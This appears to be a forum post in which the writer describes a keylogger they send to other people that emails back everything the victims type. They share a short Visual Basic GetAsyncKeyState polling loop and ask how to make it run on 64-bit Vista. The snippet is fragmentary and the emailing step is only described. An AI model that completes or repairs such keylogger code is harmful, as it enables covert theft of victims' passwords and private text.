iv made a key logger that u send to people, and it sends u a email with the stuff they type but it was made form lots of other peoples work that i put togeather from different programs anyway im redoing it completely and i need this code to work: Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i but it doesn't work on my vista 64 bit and i dont know how get it to work iv tried changing the user32 to user64 it don't work i think the GetAsyncKeyState Lib should be changed, but to what? if u can help it would be greatly appreciated